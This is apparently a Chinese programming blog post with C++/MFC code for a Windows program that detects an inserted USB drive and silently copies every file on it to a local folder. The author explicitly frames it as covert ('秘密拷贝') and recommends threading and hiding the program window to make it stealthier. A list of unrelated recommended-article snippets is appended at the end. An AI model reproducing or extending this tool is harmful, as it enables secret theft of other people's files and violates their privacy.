背景

U盘插入计算机后,不用任何操作,程序自动将U盘里的文件都拷贝到本地计算机上。这个功能是我自己开发的“恶魔的结界”系列程序里的一个小功能,至于有什么用,那就看个人的爱好了。在此,只探讨技术,不探讨用途。

现在,我就对它进行解析,整理成文档,分享给大家。

实现原理

这个程序的实现,可以分成两个部分:

U盘设备插入的监控,获取U盘盘符

根据U盘盘符,遍历U盘文件,并进行复制操作

首先,对U盘设备插入的监控,可以参考我写的 “编程实现监控U盘或者其它移动设备的插入和拔出” 这篇文章,使用方法是对程序添加 WM_DEVICECHANGE 消息处理函数,并根据 DEV_BROADCAST_VOLUME 结构体的 dbcv_unitmask 逻辑单元掩码来计算出插入设备U盘的盘符。

我们成功获取了U盘盘复制后,也就知道了U盘的路径了。所以,我们使用WIN 32 API 函数 FindFirstFile 和 FindNextFile 从U盘的根目录进行文件遍历,具体的遍历方法解析可以参考本站上其他人写的 “使用FindFirstFile和FindNextFile函数实现文件搜索遍历” 这篇文章。 对于遍历到的文件,我们就调用 CopyFile 函数将它静默拷贝到本地指定的存储路径中。

这样,经过上述的两步操作,我们就可以实现插入U盘,自动拷贝U盘文件到本地的功能了。

编码实现

U盘插入监控// 监控U盘插入并获取U盘盘符

LRESULTCUDiskCopy_TestDlg::OnDeviceChange(WPARAM wParam,LPARAM lParam)

{

switch(wParam)

{

// 设备已经插入

caseDBT_DEVICEARRIVAL:

{

PDEV_BROADCAST_HDR lpdb=(PDEV_BROADCAST_HDR)lParam;

// 逻辑卷

if(DBT_DEVTYP_VOLUME==lpdb->dbch_devicetype)

{

// 根据 dbcv_unitmask 计算出设备盘符

PDEV_BROADCAST_VOLUME lpdbv=(PDEV_BROADCAST_VOLUME)lpdb;

DWORD dwDriverMask=lpdbv->dbcv_unitmask;

DWORD dwTemp=1;

charszDriver[4]="A:";

for(szDriver[0]='A';szDriver[0]<='Z';szDriver[0]++)

{

if(0

{

// 获取设备盘符, 开始执行拷贝, 从目标设备拷贝到本地上

SearchFile(szDriver);

}

// 左移1位, 接着判断下一个盘符

dwTemp=(dwTemp<<1);

}

}

break;

}

default:

break;

}

return0;

}

U盘文件遍历及拷贝// 遍历文件并复制

voidSearchFile(char*pszDirectory)

{

// 搜索指定类型文件

DWORD dwBufferSize=2048;

char*pszFileName=NULL;

char*pTempSrc=NULL;

WIN32_FIND_DATAFileData={0};

BOOL bRet=FALSE;

// 申请动态内存

pszFileName=newchar[dwBufferSize];

pTempSrc=newchar[dwBufferSize];

// 构造搜索文件类型字符串, *.*表示搜索所有文件类型

::wsprintf(pszFileName,"%s\\*.*",pszDirectory);

// 搜索第一个文件

HANDLE hFile=::FindFirstFile(pszFileName,&FileData);

if(INVALID_HANDLE_VALUE!=hFile)

{

do

{

// 要过滤掉 当前目录"." 和 上一层目录"..", 否则会不断进入死循环遍历

if('.'==FileData.cFileName[0])

{

continue;

}

// 拼接文件路径

::wsprintf(pTempSrc,"%s\\%s",pszDirectory,FileData.cFileName);

// 判断是否是目录还是文件

if(FileData.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY)

{

// 目录, 则继续往下递归遍历文件

SearchFile(pTempSrc);

}

else

{

// 文件, 执行复制操作, 复制到本地上

charszNewFile[MAX_PATH]="C:\\Users\\Desktop\\test\\";

::lstrcat(szNewFile,FileData.cFileName);

::CopyFile(pTempSrc,szNewFile,FALSE);

}

// 搜索下一个文件

}while(::FindNextFile(hFile,&FileData));

}

// 关闭文件句柄

::FindClose(hFile);

// 释放内存

delete[]pTempSrc;

pTempSrc=NULL;

delete[]pszFileName;

pszFileName=NULL;

}

程序测试

我们运行程序后,插入U盘,然后等待一会儿后,我们打开本地上保存U盘拷贝数据的目录,发现成功拷贝U盘里的文件。

总结

为了防止程序在秘密拷贝U盘数据的时候,程序会卡死,所以,可以创建一个多线程,把拷贝文件的操作放到多线程里去执行,这样就不会阻塞主线程了。

同时,创建本文演示的这个程序还没有对程序的窗口进行隐藏,如果你想要把这个程序做得比较隐蔽的话,可以参考本站上其他人写的 “编程实现MFC程序窗口一运行立马隐藏” 这篇文档,里面有介绍如何一开就隐藏窗口程序。

参考

html文件导入到u盘中,技术分享 - 编程实现U盘插入自动复制U盘内容到本地相关推荐

  1. java程序u盘照片自动复制粘贴_U盘自动复制文件

    1.建立一个文本文档,WIN+R 里面打NOTEPAD ,或者自己新建一个都一样. 2.把下面的代码复制进去 set fso=createobject("scripting.filesyst ...

  2. u盘文件看得见却打不开_U盘插入电脑能看到盘符但打不开怎么办

    U盘使用率已经非常高了,可以说各行各业都离不开U盘.有时候U盘插到win7系统电脑上会出现各种棘手问题,这不一位用户说U盘插入电脑明明能看到盘符,但怎么也打不开,是哪里出现问题?有什么办法可以修复?想 ...

  3. power bi导入文件夹_从Power BI Desktop中的PDF文件导入数据

    power bi导入文件夹 Power BI Desktop is a useful reporting and analytical tool to represent data in variou ...

  4. AAAI 2021 | 幻灯片中文字的重要性预测赛亚军DeepBlueAI团队技术分享

    ©PaperWeekly 原创 · 作者|罗志鹏 单位|深兰北京AI研发中心 2 月 2-9 日,AAAI 2021 于线上隆重召开.AAAI(美国人工智能协会)作为人工智能领域的主要学术组织之一,其 ...

  5. php上传查询excel到mysql_PHP上传Excel文件导入数据到MySQL数据库示例

    PHP上传Excel文件导入数据到MySQL数据库示例2020-06-20 00:34:11 最近在做Excel文件导入数据到数据库.网站如果想支持批量插入数据,可以制作一个上传Excel文件,导入里 ...

  6. php 上传excel到mysql_PHP上传Excel文件导入数据到MySQL数据库示例

    最近在做Excel文件导入数据到数据库.网站如果想支持批量插入数据,可以制作一个上传Excel文件,导入里面的数据内容到MySQL数据库的小程序. 要用到的工具: ThinkPHP:轻量级国产PHP开 ...

  7. php把excel导入mysql数据库中_PHP将Excel文件导入到MySQL数据库

    这篇文章主要介绍了PHP上传Excel文件导入数据到MySQL数据库示例,可以将Excel的数据写入到MySQL数据库中,感兴趣的同学可以了解一下. 最近在做Excel文件导入数据到数据库.网站如果想 ...

  8. USBCopyer 插上优盘自动复制文件 v3.5

    USBCopyer: 插上U盘自动复制U盘文件 U盘文件偷取神器,只要插上就能够自动的复制文件. 这个软件用途还是偷取文件,无论是复制老师的课件或者资料,还是获取插到某台公用电脑上的U盘的数据,都是可 ...

  9. 云溪怎么导入dxf_dwg怎么转换成dxf文件?超详细图文教程分享

    在CAD相关的工作中,我们经常遇到这种问题,需要把DWG格式的CAD图纸转换成DXF格式.那么,我们应该怎么做呢?接下来为你介绍这一个方法,非常方便快速哦. 准备 电脑 风云CAD转换器 具体步骤: ...

最新文章

  1. matlab单元数组与结构体的区别,MATLAB中的结构体和单元数组
  2. StaticFactoryMethod_Level3
  3. delphi char与string比较
  4. 团队作业10——复审与事后分析(Beta版本)
  5. Maven 修改默认端口启动web项目
  6. Delphi面向对象学习随笔七:COM
  7. textlayout Java_Java TextLayout.getBounds方法代码示例
  8. 【设计模式】第六章 观察者模式
  9. 玩转SecureCRT 安装
  10. 中文科技核心期刊目录 计算机,中国科技核心期刊目录(2019版)”(“中国科技论文统计源期刊”)...
  11. win10禁止易升最有效的办法
  12. JavaWeb中的表单提交和超链接请求传递参数
  13. 12,verilog移位操作
  14. Java综合项目----开发团队分配管理软件
  15. 守护安全|AIRIOT城市天然气综合管理解决方案
  16. 春赏百花秋望月,夏沐凉风冬听雪
  17. 通关《Diablo2》12遍纪念
  18. Electron Fiddle 通过代理加速下载(Mac)
  19. 施巍松老师组20-21年工作
  20. Sass(Scss)学习

热门文章

  1. Qt+Mingw环境(32位+64位)
  2. 生死看淡,不服就GAN(四)---- 用全连层GAN生成MNIST手写体
  3. java jmf实现本地视频播放_Java的JMF实现视频播放器
  4. 心脏线绘制python_心脏线怎么画?
  5. 大据数技术之高频面试题8.0.9
  6. Python爬取古诗词
  7. matlab 山脊 提取,ArcGIS中利用水文分析提取山脊线山谷线
  8. Excel PivotTable 使用心得手顺分享(四)
  9. 有些话很轻、很淡、很疼!+ 有些话,经典的让人想流泪
  10. 零售门店营业额预测分析(时间序列建模)